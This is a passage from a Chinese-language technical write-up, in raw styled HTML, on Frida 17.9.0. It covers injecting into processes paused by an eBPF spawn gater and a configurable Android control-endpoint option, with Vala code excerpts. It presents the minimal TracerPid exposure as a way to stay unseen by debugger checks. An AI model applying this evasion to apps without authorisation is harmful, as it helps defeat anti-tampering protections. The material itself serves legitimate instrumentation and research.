Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">对group-stopped进程的处理与正常进程完全不同：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">跳过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ptrace(INTERRUPT)</span></code><span leaf="">——进程已经停了，不需要再中断</span></p></li><li style=""><p><span leaf="">直接</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">wait_for_next_stop()</span></code><span leaf="">——等待ptrace报告当前的stop状态</span></p></li><li style=""><p><span leaf="">发送</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SIGCONT</span></code><span leaf="">——将进程从group-stop切换到ptrace-stop，使后续的注入操作能正常进行</span></p></li></ol><p data-line="359" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><strong><span leaf="">第三步：注入后保持暂停</span></strong></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="361" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">var</span></span><span leaf=""> session = yield InjectSession.open (pid, cancellable);</span><br/><span leaf="">RemoteAgent agent = yield session.inject (spec, cancellable);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (session.was_group_stopped)</span><br/><span leaf="">    backend.suspended_by_inject[pid] = session;</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">else</span></span><br/><span leaf="">    session.close ();</span></code></pre><p data-line="370" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">如果目标进程原本就是group-stopped的（由eBPF spawn gater暂停），注入完成后</span><strong><span leaf="">不立即detach</span></strong><span leaf="">，而是保持InjectSession打开，把session存入</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">suspended_by_inject</span></code><span leaf="">字典。这样进程仍然处于暂停状态，等待用户显式</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">resume()</span></code><span leaf="">。</span></p><p data-line="372" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><strong><span leaf="">第四步：resume时清理</span></strong></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="374" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">InjectSession inject_session;</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (backend.suspended_by_inject.unset (pid, out inject_session)) {</span><br/><span leaf="">    inject_session.close ();  </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// ptrace detach，进程恢复执行</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">null</span></span><span leaf="">;</span><br/><span leaf="">}</span></code></pre><p data-line="382" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">当用户调用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">resume(pid)</span></code><span leaf="">时，从</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">suspended_by_inject</span></code><span leaf="">中取出session并close，触发ptrace detach，进程恢复执行。</span></p><h3 data-line="384" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">3 完整链路</span></h3><p data-line="386" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">将eBPF spawn gater与group-stopped注入串联起来，完整的进程捕获-注入-恢复流程如下：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="388" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">1. 目标进程调用 execve()</span><br/><span leaf="">2. eBPF tracepoint 触发 on_execve_enter()</span><br/><span leaf="">3. bpf_send_signal(SIGSTOP) → 进程进入 group-stop</span><br/><span leaf="">4. bpf_ringbuf_submit() → 事件写入 ringbuf</span><br/><span leaf="">5. SpawnGater.process_pending_events() 收到事件</span><br/><span leaf="">6. spawn_added 信号通知用户</span><br/><span leaf="">7. 用户决定注入 → attach(pid)</span><br/><span leaf="">8. InjectSession.open() 检测到 &#39;T&#39; 状态</span><br/><span leaf="">9. ptrace(SEIZE) → wait → SIGCONT → 注入代码</span><br/><span leaf="">10. session 存入 suspended_by_inject（进程仍暂停）</span><br/><span leaf="">11. 用户调用 resume(pid)</span><br/><span leaf="">12. InjectSession.close() → ptrace(DETACH) → 进程恢复执行</span></code></pre><p data-line="403" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">整条链路的关键在于：eBPF拦截阶段完全不涉及ptrace，目标进程的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">TracerPid</span></code><span leaf="">始终为0。只在注入阶段短暂使用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ptrace(SEIZE)</span></code><span leaf="">——此时</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">TracerPid</span></code><span leaf="">会被设置——但注入完成后立即</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ptrace(DETACH)</span></code><span leaf="">将其清零。与传统的全程ptrace跟踪相比，TracerPid暴露窗口从&#34;整个生命周期&#34;缩短到&#34;毫秒级注入窗口&#34;。</span></p><h2 data-line="405" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">核心功能三：control-endpoint后端选项</span></h2><h3 data-line="407" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">1 override_option()框架</span></h3><p data-line="409" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">17.9.0在</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Device</span></code><span leaf="">类上新增了</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">override_option()</span></code><span leaf="">方法，建立了后端选项覆盖的通用框架：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="411" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">public</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">void</span></span><span leaf=""> override_option (</span><span style="color: rgb(0, 0, 255);"><span leaf="">string</span></span><span leaf=""> name, Variant val) throws Error {</span><br/><span leaf="">    Value v;</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">switch</span></span><span leaf=""> (val.classify ()) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">case</span></span><span leaf=""> BOOLEAN:</span><br/><span leaf="">            v = Value (typeof (</span><span style="color: rgb(0, 0, 255);"><span leaf="">bool</span></span><span leaf="">));</span><br/><span leaf="">            v.set_boolean (val.get_boolean ());</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">break</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">case</span></span><span leaf=""> STRING:</span><br/><span leaf="">            v = Value (typeof (</span><span style="color: rgb(0, 0, 255);"><span leaf="">string</span></span><span leaf="">));</span><br/><span leaf="">            v.set_string (val.get_string ());</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">break</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// ... 还支持 INT64, UINT64, DOUBLE</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">default</span></span><span leaf="">:</span><br/><span leaf="">            throw </span><span style="color: rgb(0, 0, 255);"><span leaf="">new</span></span><span leaf=""> Error.INVALID_ARGUMENT (</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;Unsupported option type&#34;</span></span><span leaf="">);</span><br/><span leaf="">    }</span><br/><span leaf="">    lock (host_session_options) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (host_session_options == </span><span style="color: rgb(163, 21, 21);"><span leaf="">null</span></span><span leaf="">)</span><br/><span leaf="">            host_session_options = </span><span style="color: rgb(0, 0, 255);"><span leaf="">new</span></span><span leaf=""> HostSessionOptions ();</span><br/><span leaf="">        host_session_options.map[name] = v;</span><br/><span leaf="">    }</span><br/><span leaf="">}</span></code></pre><p data-line="436" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">选项存储在</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">HostSessionOptions</span></code><span leaf="">中（一个</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Gee.HashMap&lt;string, Value?&gt;</span></code><span leaf="">），创建host session时通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">copy()</span></code><span leaf="">方法线程安全地传递给后端Provider：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="438" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">HostSessionOptions? opts;</span><br/><span leaf="">lock (host_session_options)</span><br/><span leaf="">    opts = (host_session_options != </span><span style="color: rgb(163, 21, 21);"><span leaf="">null</span></span><span leaf="">) ? host_session_options.copy () : </span><span style="color: rgb(163, 21, 21);"><span leaf="">null</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">var</span></span><span leaf=""> session = yield provider.create (manager, opts, cancellable);</span></code></pre><p data-line="445" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">设计上，选项在建立host session时生效。如果session已存在，更新后的值在下次连接时才应用。</span></p><h3 data-line="447" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">2 Droidy（Android）control-endpoint</span></h3><p data-line="449" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">Droidy后端接受任意ADB支持的endpoint格式：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="451" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">string</span></span><span leaf=""> control_endpoint = (</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;tcp:%&#34;</span></span><span leaf=""> + </span><span style="color: rgb(0, 0, 255);"><span leaf="">uint16</span></span><span leaf="">.FORMAT_MODIFIER + </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;u&#34;</span></span><span leaf="">)</span><br/><span leaf="">    .printf (DEFAULT_CONTROL_PORT);  </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 默认 &#34;tcp:27042&#34;</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (options != </span><span style="color: rgb(163, 21, 21);"><span leaf="">null</span></span><span leaf="">) {</span><br/><span leaf="">    Value? control_endpoint_val = options.map[</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;control-endpoint&#34;</span></span><span leaf="">];</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (control_endpoint_val != </span><span style="color: rgb(163, 21, 21);"><span leaf="">null</span></span><span leaf="">) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!control_endpoint_val.holds (typeof (</span><span style="color: rgb(0, 0, 255);"><span leaf="">string</span></span><span leaf="">)))</span><br/><span leaf="">            throw </span><span style="color: rgb(0, 0, 255);"><span leaf="">new</span></span><span leaf=""> Error.INVALID_ARGUMENT (</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;The control-endpoint option must be a string&#34;</span></span><span leaf="">);</span><br/><span leaf="">        control_endpoint = control_endpoint_val.get_string ();</span><br/><span leaf="">    }</span><br/><span leaf="">}</span><br/><span leaf="">host_session = </span><span style="color: rgb(0, 0, 255);"><span leaf="">new</span></span><span leaf=""> DroidyHostSession (device_details, </span><span style="color: rgb(0, 0, 255);"><span leaf="">this</span></span><span leaf="">, control_endpoint);</span></code></pre><p data-line="468" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">control_endpoint</span></code><span leaf="">随后在连接frida-server时使用：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="470" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 原来硬编码：</span></span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// var stream = yield channel_provider.open_channel (&#34;tcp:27042&#34;, cancellable);</span></span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 现在可配置：</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">var</span></span><span leaf=""> stream = yield channel_provider.open_channel (control_endpoint, cancellable);</span></code></pre><p data-line="477" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 